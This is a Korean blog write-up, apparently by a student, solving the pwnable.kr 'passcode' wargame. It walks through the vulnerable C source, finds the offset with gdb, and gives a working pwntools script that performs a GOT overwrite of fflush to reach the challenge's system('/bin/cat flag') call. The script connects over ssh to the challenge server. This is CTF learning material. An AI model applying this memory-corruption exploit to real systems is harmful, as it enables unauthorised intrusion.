2023. 2. 23. 14:47ㆍPwnable/Pwnable.kr
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
문제의 소스코드는 위와 같다.
집중해서 본 부분이다.
몇달전 선린인터넷 고등학교 신입생 교육때 scanf 를 배울때 예제코드는 아래와 같았다.
int a;
scanf("%d", &a)
하지만 위에서의 코드는 $가 붙어있지 않았다. 그렇게 구글링을 하여 보니
passcode 1 주소값에다 해당 데이터를 넣는 거라 했다.
그렇게 문제의 핵심 부분을 찾아낼 수 있었다.
이후 이 부분을 잘 보았는데 fflush 함수는
버퍼를 비운다...? 해서 버퍼오버플로우를 방지하는 건가 싶고 넘어갔다.
그렇다면 핵심포인트는 fflush 함수가 실행되기 전에 어떻게든 플래그를 탈취하라는 것 아닌가 싶었다
우선 offset 을 구해서 어떻게 해야 passcode1 값을 활용할 수 있는지 판단해보기로 했다. 그렇게 gdb를 열어 분석을 했다.
login 함수 부분을 뜯어보니 ebp - 0x10 으로 name 을 저장한다. 이후 welcome 함수를 뜯어보았다.
이후 ebp -0x70 부분에 passcode1을 저장하는 거 같았다.
그렇게 거리를 구해보면
0x70 - 0x 10 = 0x60 --> 96 으로
dummy 값 * 96 을 넣으면 passcode1에 메모리 영역이 등장한다.
이후 passcode1 부분에 fflush 의 got 주소를 찾아내고 해당 GOT 주소를 시스템 함수로 넣는다면 함수 GOT이 실행되지만 system('cat flag') 로 작동되게 만들 수 있을 것이다.
이를 이해하려면 Got Over write 이라는 공격기법을 이해해야 했다. 그렇게 구글링을 열심히 했다...
조금 그림으로 정리해 보았다.
대충 이렇게 될 거 같았다.
그렇게 PLT fflush 의 함수에 진짜 주소인 got 주소를 찾았다.
fflush = 0x804a004
이후 system 함수의 시작부분을 찾아야 한다.
매우 친절하게 /bin/cat flag 로 되어있는데 해당 부분을 찾아 문자열로 출력시켰을때 해당 문자가 뜨면 아마 그 부분이 시작 주소일 것이다.
system을 실행하기 바로 위에 있는 주소인 0x080485e3 넣으면 될 것이다.
이후 scanf 는 정수형으로 받아내기에 해당 값을 정수형으로 변화를 시켜야 한다.
이는 pwntools 을 활용하면 매우 쉽게 바꿀 수 있을 것이다. str(system)
그렇게 exploit 코드를 작성 했다.
from pwn import *
s = ssh('passcode', 'pwnable.kr', password='guest', port=2222)
p = s.process('/home/passcode/passcode') ##ssh 접속
system = 0x080485e3 #시스템 시작 주소
payload = b'A' * 96 + p32(0x804a004)
payload2=str(system)
p.sendline(payload) # name 값 입력을 통해 passcode 1 에 fflush got 주소 저장
p.sendline(payload2)# passcode 1: 입력에서 정수형으로 system 함수 주소 저장 및 실행
#p.interactive() # 필요없음.. 삽질의 흔적
data = p.recvrepeat(2048) (출력되는 데이터 저장)
print (data) (데이터 출력 ## 플래그 출력)
이후 익스플로잇을 해 보았다 !
야호 ! 오늘도 성공이담
푸는데 삽질을 굉장히 많이 했다..
v
굉장한 삽질의 흔적...
'Pwnable > Pwnable.kr' 카테고리의 다른 글
pwnable.kr - 6 - random (0) | 2023.02.23 |
---|---|
Pwnable.kr - 4 - flag (0) | 2023.01.26 |
Pwnable.kr - 3 - bof (0) | 2023.01.25 |
Pwnable.kr -2- col (0) | 2023.01.25 |
pwnable.kr - 1 - fd (0) | 2023.01.25 |